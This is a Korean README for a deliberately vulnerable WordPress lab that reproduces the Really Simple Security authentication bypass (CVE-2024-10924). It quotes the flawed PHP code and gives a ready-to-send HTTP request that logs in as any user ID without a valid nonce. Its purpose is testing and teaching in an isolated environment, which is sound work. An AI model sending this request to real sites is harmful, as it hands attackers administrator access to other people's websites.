
경고: 이것은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 취약점을 테스트하기 위한 취약한 애플리케이션입니다. 실행 시 책임은 본인에게 있습니다!
이것은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 익스플로잇을 테스트하기 위한 취약한 애플리케이션입니다.
이 애플리케이션에는 심각한 보안 취약점이 포함되어 있습니다. 실행 시 책임은 본인에게 있습니다! 최근 스냅샷과 호스트 전용 네트워킹이 설정된 VM과 같은 백업되고 격리된 환경을 사용하는 것이 좋습니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 서버가 침해될 수 있습니다.
면책 조항: 저는 이 애플리케이션을 사용하는 모든 이의 사용 방식에 대해 책임을 지지 않습니다. 이 애플리케이션의 유일한 목적은 Really Simple Security < 9.1.2 인증 우회(CVE-2024-10924) 익스플로잇을 위한 테스트 시나리오를 제공하는 것이며, 악의적으로 사용되어서는 안 됩니다. 이 애플리케이션을 설치하여 서버가 침해된 경우, 그 책임은 저에게 있는 것이 아니라 이 애플리케이션을 업로드하고 설치한 사람(들)에게 있습니다.
환경을 설정하는 단계는 다음과 같습니다:
./up.sh를 실행하여 구성을 시작합니다.컨테이너 이름은 vuln-wp-really-simple-security입니다.
환경을 해체하려면 ./down.sh 명령을 사용하거나, 이미지와 데이터베이스 볼륨도 함께 제거하려면 ./down_and_delete.sh 명령을 사용합니다.
수정을 살펴보면, 취약한 버전에서는 check_login_and_get_user() 함수가 잘못된 로그인 nonce가 입력된 경우 전체 작업을 중단하지 않고 오류 객체를 반환했음을 알 수 있습니다.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
그런데 호출자에서는 check_login_and_get_user() 함수(277행)의 출력에 대해 검사를 수행하지 않고, 입력에서 받은 사용자 ID와 동일한 값을 사용하여 authenticate_and_redirect() 함수(278행)로 계속 진행했습니다.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
취약점을 익스플로잇하려면 다음과 같은 요청으로 충분합니다.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
그런 다음 반환된 세션 쿠키를 브라우저에 적절히 설정합니다.
user_id는 대상 사용자의 ID여야 하며, login_nonce는 잘못된 값이라도 프로세스를 차단하지 않으므로 아무 값이나 사용할 수 있습니다.
Python으로 작성된 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.
이 프로젝트는 Unlicense 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.